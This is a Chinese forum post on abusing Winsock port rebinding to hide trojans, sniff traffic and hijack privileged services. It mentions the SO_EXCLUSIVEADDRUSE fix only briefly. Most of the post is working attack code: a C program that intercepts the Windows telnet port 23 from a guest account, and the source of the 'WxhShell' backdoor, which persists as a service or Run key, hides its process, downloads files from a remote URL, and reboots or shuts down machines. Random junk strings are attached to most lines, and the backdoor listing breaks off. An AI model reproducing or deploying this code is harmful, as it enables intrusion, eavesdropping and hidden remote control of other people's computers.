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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pA%}CmrMq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?IN'Dc9&%-  
)7aUDsu>4  
  saddr.sin_family = AF_INET; &b__ /o  
OfE>8*RI4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'VMov  
c 5%uiv]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C {*' p+f  
$q$G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VYR<x QA  
21T#NYfew  
  这意味着什么?意味着可以进行如下的攻击: icrcP ~$A  
[ pe{,lp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tqf:G4!  
O|} p=ny  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) < NRnE8:  
k#g` n3L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xCQLfXK7  
SzTa[tJ+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m{w'&\T  
mfW}^mu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cb3Q{.-.#  
uGc0Lv4i/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FUO9jX  
j&N {j_ M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 : MEB] }  
94}y,\S~  
  #include zk;'`@7  
  #include T Ob(  
  #include Bjp4:;Bb  
  #include    w7%.EA{N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z 0}JiWR  
  int main() rj ] ~g  
  { !jTxMf  
  WORD wVersionRequested; _2a)b(<tF  
  DWORD ret; )z_5I (?&  
  WSADATA wsaData; yno X=#`  
  BOOL val; 'lMDlTU O  
  SOCKADDR_IN saddr; Y2TXWl,Jk  
  SOCKADDR_IN scaddr; hDf!l$e.  
  int err; ?Q[b1:;Lm  
  SOCKET s; tch;_7?  
  SOCKET sc; ZVyJ%"(E  
  int caddsize; Vo;0i$  
  HANDLE mt; 98rO]rg  
  DWORD tid;   eyzXHS*s;L  
  wVersionRequested = MAKEWORD( 2, 2 ); VZ]}9k  
  err = WSAStartup( wVersionRequested, &wsaData ); !"LFeqI$lr  
  if ( err != 0 ) { +Ym#!"  
  printf("error!WSAStartup failed!\n"); Ul Mc8z  
  return -1; RgD%pNhI  
  } )B9/P>c  
  saddr.sin_family = AF_INET; ;w<r/dK   
   Y_FQB K U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ms=N+e$n  
?P;=_~X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s[;1?+EI  
  saddr.sin_port = htons(23); %F87"v~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T}jW,Ost  
  { )S9}uOG#  
  printf("error!socket failed!\n"); TPA*z9n+B  
  return -1; 5^N y6t  
  } tP89gN^PA|  
  val = TRUE; i8!err._  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tN;^{O-(V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~g}blv0q+B  
  { (@NW2  
  printf("error!setsockopt failed!\n"); bQ-n<Lx  
  return -1; ]Na;b  
  } \rY\wa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i(4.7{*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bD=R/yA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n] 8*yoge  
EX@Cf!GjN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j>3Fwg9V  
  { nK`H;k  
  ret=GetLastError(); $S^rKp#  
  printf("error!bind failed!\n"); } x Kv N  
  return -1; Y=@iD\u  
  } 69 J4p=c,  
  listen(s,2); X([@}ren  
  while(1) b?/Su<q  
  { v}=pxWhm  
  caddsize = sizeof(scaddr); BkB9u&s^  
  //接受连接请求 :BF WX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f\;f&GI  
  if(sc!=INVALID_SOCKET) ; hU9_e  
  { 9hgIQl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jw^h<z/Ux  
  if(mt==NULL) ?lm<)y?I7+  
  { \==Mgy2J8  
  printf("Thread Creat Failed!\n"); ~ujg250.L  
  break; <bJ~Ol  
  } }Qh%Z)  
  } (L!u[e0[#  
  CloseHandle(mt); /U>8vV+C  
  } #fF D|q  
  closesocket(s); eGUe#(I /  
  WSACleanup(); qv`:o `  
  return 0; I#xhmsF  
  }   *7qa]i^]  
  DWORD WINAPI ClientThread(LPVOID lpParam) kdMB.~(K=  
  { U+ uIuhz  
  SOCKET ss = (SOCKET)lpParam; &<) _7?  
  SOCKET sc; xEB 4oQ5  
  unsigned char buf[4096]; #+^l3h MK  
  SOCKADDR_IN saddr; NM1TFs2Y*  
  long num; Lve$H(GHT  
  DWORD val; 1(kd3 qX  
  DWORD ret; 3]>YBbXvE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (CE2]Nv9")  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _X)]/A%@  
  saddr.sin_family = AF_INET; 4-\4G"4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WX+@<y}%  
  saddr.sin_port = htons(23); tAb3ejCo?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ">s0B5F7  
  { %Ip=3($Ku[  
  printf("error!socket failed!\n"); |\]pTA$2  
  return -1; eh*F/Gu  
  } 5;9.&f  
  val = 100; 6,]2;'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `~@}f"c`u  
  { =OR&,xt  
  ret = GetLastError(); 5a* Awv}  
  return -1; V{0V/Nv  
  } Fh)YNW@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gKb5W094@  
  { C,u;l~zz  
  ret = GetLastError(); v=H!Y";  
  return -1; 7p18;Z+6>X  
  } ^N~Jm&I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *c@]c~hY,  
  { [92bGR{  
  printf("error!socket connect failed!\n"); 16I(S  
  closesocket(sc); qj?I*peK)  
  closesocket(ss); a[gN+DX%L  
  return -1; /h@rLJ)o>  
  } Rh7=,=u  
  while(1) Sq 2yQSd  
  { N?Ss/by8Sg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7M9s}b%?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,@2d4eg 4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q1'D*F4  
  num = recv(ss,buf,4096,0); ..^,*  
  if(num>0) g? \pH:|79  
  send(sc,buf,num,0); M~!LjJg;  
  else if(num==0) v aaZ  
  break; [g*]u3s  
  num = recv(sc,buf,4096,0); jdVdz,Y  
  if(num>0) Q_a%$a.rV  
  send(ss,buf,num,0); !!t@ H\  
  else if(num==0) n1c Q#u  
  break; fKT(.VN q5  
  } fI0L\^b%  
  closesocket(ss); YJwz*@l  
  closesocket(sc); 6UJBE<ntj  
  return 0 ; e3>k"  
  } KBGJB`D*  
/h%MWCZWm^  
cl-i6[F  
========================================================== >Y/1%Hp9  
%x7l`.) N  
下边附上一个代码,,WXhSHELL sw &sF  
WJL,L[XC  
========================================================== y/2U:H  
Afa{f}st  
#include "stdafx.h" `P4qEsZE>`  
4B}w;d@R  
#include <stdio.h> 9uREbip  
#include <string.h> egi?Qg  
#include <windows.h>  Q-&]Vg  
#include <winsock2.h> `0Q:d'  
#include <winsvc.h> `\P:rn95;  
#include <urlmon.h> %jM|*^\%  
@w:sNXz-  
#pragma comment (lib, "Ws2_32.lib") P-`^I`r  
#pragma comment (lib, "urlmon.lib") |qNrj~n@  
$Y0bjS2J  
#define MAX_USER   100 // 最大客户端连接数 A1f]HT  
#define BUF_SOCK   200 // sock buffer jIc;jjAF  
#define KEY_BUFF   255 // 输入 buffer IJXH_H_%*  
E(U}$Zey  
#define REBOOT     0   // 重启 Bv@m)$9\+3  
#define SHUTDOWN   1   // 关机 90aPIs-  
r5iO%JFg  
#define DEF_PORT   5000 // 监听端口 U w`LWG3T  
Azz]TO  
#define REG_LEN     16   // 注册表键长度  2 5ZGuM  
#define SVC_LEN     80   // NT服务名长度 M7Hk54U +t  
0_D~n0rq,v  
// 从dll定义API #CQ>d8&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FvI`S>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = xX^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %#QFu/l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Q:K$!  
EShakV  
// wxhshell配置信息 g&E_|}u4  
struct WSCFG { .DvAX(2v  
  int ws_port;         // 监听端口 V!U[N.&$  
  char ws_passstr[REG_LEN]; // 口令 {M~!?# <K  
  int ws_autoins;       // 安装标记, 1=yes 0=no t2Y~MyT/  
  char ws_regname[REG_LEN]; // 注册表键名 nG%j4r ;  
  char ws_svcname[REG_LEN]; // 服务名 -X}R(.}x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 My`%gP~%g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YKc{P"'/ |  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tl^[MLQa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $^0YK|F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :A{-^qd(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6HqK%(  
d<3"$%C  
}; \%Smp2K  
5~"=Fm<uD  
// default Wxhshell configuration z0W+4meoH  
struct WSCFG wscfg={DEF_PORT, |B`tRq  
    "xuhuanlingzhe", %ej"ZeM  
    1, x/S%NySG  
    "Wxhshell", vZDQ@\HrC  
    "Wxhshell", T?ZMmUE  
            "WxhShell Service", ~3Y NHm6V  
    "Wrsky Windows CmdShell Service", ,/ : )FV  
    "Please Input Your Password: ", I.<#t(io  
  1, 5y'Yosy:  
  "http://www.wrsky.com/wxhshell.exe", sq^"bLw  
  "Wxhshell.exe" QE}@|H9xs  
    }; g:clSN,  
O&s6blD11  
// 消息定义模块 an2Tc*=~l(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZF/KV\Ag)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <FK><aA_i*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -ur]k]R  
char *msg_ws_ext="\n\rExit."; ,'673PR  
char *msg_ws_end="\n\rQuit."; h5gXYmk  
char *msg_ws_boot="\n\rReboot..."; o%5bg(  
char *msg_ws_poff="\n\rShutdown..."; L' pZ  
char *msg_ws_down="\n\rSave to "; w g1pt1 `  
mC7Y *  
char *msg_ws_err="\n\rErr!"; v8IL[g6"  
char *msg_ws_ok="\n\rOK!"; }a1UOScO0  
W Q&<QVK  
char ExeFile[MAX_PATH]; O?WaMfS[1  
int nUser = 0; !tdfTf$  
HANDLE handles[MAX_USER]; M5V1j(URE  
int OsIsNt; $OD5t5eTsM  
|@HdTGD  
SERVICE_STATUS       serviceStatus; aVYUk7_<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \d+HYLAJn  
l}2WW1b(  
// 函数声明 Q=8 cBRe  
int Install(void); OQQ9R?Ll{  
int Uninstall(void); kI'A` /B l  
int DownloadFile(char *sURL, SOCKET wsh); b9N4Gr  
int Boot(int flag); ]EnaZWyO]  
void HideProc(void); zFr}$  
int GetOsVer(void); kk'w@Sn.(  
int Wxhshell(SOCKET wsl); >nDnb4 'C  
void TalkWithClient(void *cs); t>2^!vl  
int CmdShell(SOCKET sock); JY+[  
int StartFromService(void); sJ/e=1*  
int StartWxhshell(LPSTR lpCmdLine); 2>k)=hl:  
SEIu4 l$E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); af(JoX*U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u&xK>7  
yp^*TD/J  
// 数据结构和表定义 =.hDf<U  
SERVICE_TABLE_ENTRY DispatchTable[] = => =x0gsgj  
{ uFWgq::\  
{wscfg.ws_svcname, NTServiceMain}, %},G(>  
{NULL, NULL} X^5"7phI@  
}; }Xi#x*-D  
jSYg\ Z5!  
// 自我安装 ~N^vE;  
int Install(void) _%vqBr*  
{ qo- F9u1J  
  char svExeFile[MAX_PATH]; Y0\\(0j64  
  HKEY key; Q; /F0JDH  
  strcpy(svExeFile,ExeFile); U]0)$OH5e  
Q;O)>K  
// 如果是win9x系统,修改注册表设为自启动 |S:!+[  
if(!OsIsNt) { ~!F4JRf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PX2k,%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d J:x1j  
  RegCloseKey(key); A9Wqz"[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s@LNQ|'kO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YB~t|m65  
  RegCloseKey(key); _|B&v  
  return 0; y32++b!  
    } >Ryss@o  
  } BemkCj2  
} .Pes{uHg  
else { qd~98FS  
n E}<e:  
// 如果是NT以上系统,安装为系统服务 NJf(,Mr*|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *P R_Y=v%  
if (schSCManager!=0) L?27q  
{ MlK`sH6  
  SC_HANDLE schService = CreateService `uZv9I"  
  ( +`zi>=  
  schSCManager, YOV4)P"  
  wscfg.ws_svcname, C'czXZtn  
  wscfg.ws_svcdisp, C!{AnWf  
  SERVICE_ALL_ACCESS, 5f'g 3'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T#G<?oF  
  SERVICE_AUTO_START, p;=kH{uu  
  SERVICE_ERROR_NORMAL, V9j1j}  r  
  svExeFile, eSX[J6  
  NULL, MJKl]&  
  NULL, u] U)d$|  
  NULL, xGEmrE<;  
  NULL, TDFO9%2c  
  NULL ~8xh0TSi  
  ); vk)0n=  
  if (schService!=0) iSr`fQw#  
  { L;M^>{>  
  CloseServiceHandle(schService); aaz"`,7_  
  CloseServiceHandle(schSCManager); bV$8 >[`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rw}2*5#y  
  strcat(svExeFile,wscfg.ws_svcname); >mFX^t_,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,3]?%t0xe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uOl(-Zq@  
  RegCloseKey(key); mKq<'t]^k  
  return 0; ;eW'}&|LV  
    } KT];SF ^Y  
  } mvTyx7 h=  
  CloseServiceHandle(schSCManager); w,![;wG  
} K 5qLBz@U  
} te;Ox!B&  
7mn,{2  
return 1; BLwfm+ m"  
} ;Lsjh#  
$35,\ZO>  
// 自我卸载 q)?p$\  
int Uninstall(void) j!S1Y0CV  
{ umm\r&]A  
  HKEY key; X"k^89y$  
Bzu(XQ  
if(!OsIsNt) { y)p$_.YFF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] ^; b  
  RegDeleteValue(key,wscfg.ws_regname); 7}d$*C  
  RegCloseKey(key); &$m=^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bk7^%O>  
  RegDeleteValue(key,wscfg.ws_regname); f^!11/Wv  
  RegCloseKey(key); L{2b0Zh'  
  return 0; c>S"`r  
  } @1<omsl  
} dv^e 9b|  
} 6; 5)/q  
else { +MNSZLP]  
5 6Sh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p*pn@z  
if (schSCManager!=0) J[}gku?C;  
{ ^V<J69ny|9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O1?B{F/ e  
  if (schService!=0) }c` ?0FQ  
  { e(}oq"'z  
  if(DeleteService(schService)!=0) { wTTTrk  
  CloseServiceHandle(schService); F2bm+0vOJ  
  CloseServiceHandle(schSCManager); #D`S  
  return 0; pXPqDA  
  } $yDW.pt  
  CloseServiceHandle(schService); 7$+P|U  
  } %"l81z  
  CloseServiceHandle(schSCManager); 0rku4T  
} +P [88!  
} 2f3=?YqD  
ZR/R'prW  
return 1; n 5~=qQK2  
} cP*c(k~N  
ulH0%`Fi  
// 从指定url下载文件 <Zig Co w  
int DownloadFile(char *sURL, SOCKET wsh) 6oj4Rg+(  
{ OlEpid'Z  
  HRESULT hr; <TI3@9\qXE  
char seps[]= "/"; cy1\u2x_`  
char *token; o-SRSu  
char *file; 4)c+t"h  
char myURL[MAX_PATH]; x 8 f6,  
char myFILE[MAX_PATH]; 3AvVU]@&Z@  
L3B8IDq  
strcpy(myURL,sURL); @<vF]\Ce  
  token=strtok(myURL,seps); X$BXT  
  while(token!=NULL) R]CZw;zS_  
  { /GsSrP_?]  
    file=token; UG6M9  
  token=strtok(NULL,seps); TkA9tFi  
  } UUl*f!& o  
'oC$6l'rQ  
GetCurrentDirectory(MAX_PATH,myFILE); HjV\lcK:v  
strcat(myFILE, "\\"); 5\VxXiy 0  
strcat(myFILE, file); >4Iv[ D1  
  send(wsh,myFILE,strlen(myFILE),0); iH[E= 6*  
send(wsh,"...",3,0); q z=yMIy=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U8YO0}_z  
  if(hr==S_OK) L<0=giE  
return 0; /ca(a\@R  
else PT mf  
return 1; Y.E?;iS  
5+`=t07^et  
} 0[lS(K  
-dg}BM  
// 系统电源模块 {b(rm,%  
int Boot(int flag) #xlZU  
{ Z%Vr+)!4  
  HANDLE hToken; =]T|h  
  TOKEN_PRIVILEGES tkp; 7k>zuzRyF  
JdtPY~k0  
  if(OsIsNt) { pNuqT*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V R"8Di&)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QS\Uq(Ja\  
    tkp.PrivilegeCount = 1; \ZqK\=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *h2`^Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D^n xtuT*  
if(flag==REBOOT) { [4Y[?)7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NNgK:YibD  
  return 0; }bp.OV-+  
} {h,_"g\V  
else { gTnS[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0k%hY{  
  return 0; &1=g A.ZR  
} t7&Dwmck9  
  } `y'aH 'EEd  
  else { )R~a;?T_c0  
if(flag==REBOOT) { am2a#4`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A hR0zg  
  return 0; !Pw$48cg  
} #L\o;p(  
else { goB;EWz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A9t8`|1"%H  
  return 0; .W$ sxVXB  
} PzLJ/QER  
} 4HW;  
wsq LXZI  
return 1; GJvp{U}y9I  
} dKb ^x^  
r( M[8@Nz  
// win9x进程隐藏模块 +ZX .1[O  
void HideProc(void) RYH)AS4w'  
{ n6/fan;  
AO $Wy@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! j{CuA/  
  if ( hKernel != NULL ) u7[pLtOwN  
  { nW11wtiO.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %uua_&#)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z#RuwB+  
    FreeLibrary(hKernel); T!(sZf  
  } 8]HY. $E  
T ~h.=5  
return; " <Qm -  
} 3 &Sp@,  
1) 'Iu`k/  
// 获取操作系统版本 eKyqU9  
int GetOsVer(void) oJh"@6u6K  
{ %P;[fJ `G  
  OSVERSIONINFO winfo; ~{$L9;x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sj@15 W  
  GetVersionEx(&winfo); [<Q4U{F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6P^hN%0  
  return 1; AC'lS >7s  
  else K'V 2FTJI  
  return 0; 2 eHx"Ha  
} `H"vR: ~{  
p_r4^p\  
// 客户端句柄模块 6<PW./rk:  
int Wxhshell(SOCKET wsl) 6uqUiRs()  
{ ~2(]ZfO?>H  
  SOCKET wsh; h9jc,X u5X  
  struct sockaddr_in client; c})wD+1  
  DWORD myID; op.d;lO@  
.lr5!Stb  
  while(nUser<MAX_USER) T0Q51Q  
{ \C7q4p?8  
  int nSize=sizeof(client); 7gr^z)${J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R(`]n!V2  
  if(wsh==INVALID_SOCKET) return 1; \?d TH:v/E  
2LC w*eT{)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X|'2R^V.  
if(handles[nUser]==0) +|0 t  
  closesocket(wsh); |Qr:!MA  
else c$A@T~$  
  nUser++; bJ6p,]g  
  } tpGCrn2w>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TL@mM  
TRy^hr8~  
  return 0; 1yS&~ y?a  
} -yl;3K]l  
1]Lh'.1^  
// 关闭 socket =Epq%,4nG  
void CloseIt(SOCKET wsh) 59Nd}wPO;  
{ &`@lB (m  
closesocket(wsh); A%n?}  
nUser--; d- kZt@DL=  
ExitThread(0); Yv=g^tw  
} | k}e&Q_/G  
JqSr[q  
// 客户端请求句柄 O2lIlCL  
void TalkWithClient(void *cs) \4QH/e  
{ }I'^./za  
&F`L}#oL&  
  SOCKET wsh=(SOCKET)cs; ^RDU p5,T  
  char pwd[SVC_LEN]; In+^V([u+_  
  char cmd[KEY_BUFF]; yW`e |!  
char chr[1]; O5OXw]  
int i,j; URQ@=W7  
3HKxYvc C  
  while (nUser < MAX_USER) { `x2,;h!:)N  
|*fNH(8&H  
if(wscfg.ws_passstr) { AK;^9b-}q:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CW;m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y!hi"!  
  //ZeroMemory(pwd,KEY_BUFF); j%WY ,2P  
      i=0; }DHUTP2;yz  
  while(i<SVC_LEN) { jzMg'z/@J  
GMe0;StT  
  // 设置超时 ^Et ,TF\  
  fd_set FdRead; +4HlRGH  
  struct timeval TimeOut; ;j!UY.i  
  FD_ZERO(&FdRead); hLo>R'@uN  
  FD_SET(wsh,&FdRead); /tzlbI]z  
  TimeOut.tv_sec=8; FJF3B)Va|  
  TimeOut.tv_usec=0; tvT4S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k}s+ca!B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^9=4iXd  
%l;*I?0H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ih3$  
  pwd=chr[0]; 3C#RjA-2[  
  if(chr[0]==0xd || chr[0]==0xa) { r@Nl 2  
  pwd=0; _aY.  
  break; OGGSS&5t w  
  } V]m^7^m3  
  i++; E|{m"RUOy  
    } Z)5klg$c  
?b"Vj+1:x  
  // 如果是非法用户,关闭 socket 3>M.]w6{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rmQ\RP W  
} #fN/LO  
XECikld>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K-6p'|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zWtj|%ts  
/`}6rXnw9  
while(1) { v4C3uNW  
:Fnzi0b  
  ZeroMemory(cmd,KEY_BUFF); PqI![KxZW  
,H@TYw  
      // 自动支持客户端 telnet标准   wx./"m.M  
  j=0; 8yvJ`eL-  
  while(j<KEY_BUFF) { CWBbSGk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'QR4~`6I  
  cmd[j]=chr[0]; hg4J2m  
  if(chr[0]==0xa || chr[0]==0xd) { d=F)y~&'  
  cmd[j]=0; :v#8O~  
  break; [WYJrk.  
  } ~ur)f AuF2  
  j++;  tI'e ctn  
    } y}Cj#I+a  
<\p&jk?  
  // 下载文件 5c)wZ  
  if(strstr(cmd,"http://")) { w0aHEvH/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .01TTK*  
  if(DownloadFile(cmd,wsh)) t"tNtLI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0S_Ra+e  
  else  XtR`?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW8;^u  
  } h~ZNHSP:  
  else { -: C[P  
cmae&Atotw  
    switch(cmd[0]) { 9c%(]Rn:  
  /CbkqNV  
  // 帮助 .C6gl]6y@  
  case '?': { ^&HI +M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9'l.TcVm`,  
    break; . rRc  
  } Re{ej  
  // 安装 R4yJ.f  
  case 'i': { J09ZK8 hK  
    if(Install()) ID&zY;f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C>M6&=  
    else N4tc V\O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =w t-YM  
    break; \/pVcR  
    } R+C+$?4NG  
  // 卸载 W%w82@'  
  case 'r': { 5t TLMZ`o  
    if(Uninstall()) gr[D!D >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h@ EJTAi  
    else {XyG1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s9=pV4fA~w  
    break; &MBOAHhze  
    } 9  4 "f  
  // 显示 wxhshell 所在路径 ?NQD#  
  case 'p': { A=y24m  
    char svExeFile[MAX_PATH]; 'w :tq  
    strcpy(svExeFile,"\n\r"); x[zKtX  
      strcat(svExeFile,ExeFile); CdE2w?1  
        send(wsh,svExeFile,strlen(svExeFile),0); [sjrb?Xd  
    break; <ihhV e  
    } I):m6y@  
  // 重启 l^)o'YS y  
  case 'b': { }6F_2S3c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s#M? tyhj  
    if(Boot(REBOOT)) "~B~{ _<j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bwv/{3G,Ys  
    else { W5 M ]  
    closesocket(wsh); AN50P!FZW  
    ExitThread(0); d91I  
    } /2=_B4E2  
    break; qFB9,cUqh  
    } aU,0gvI(}  
  // 关机 }mkA Hmu4  
  case 'd': { Nu>sp,|A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $@XPL~4  
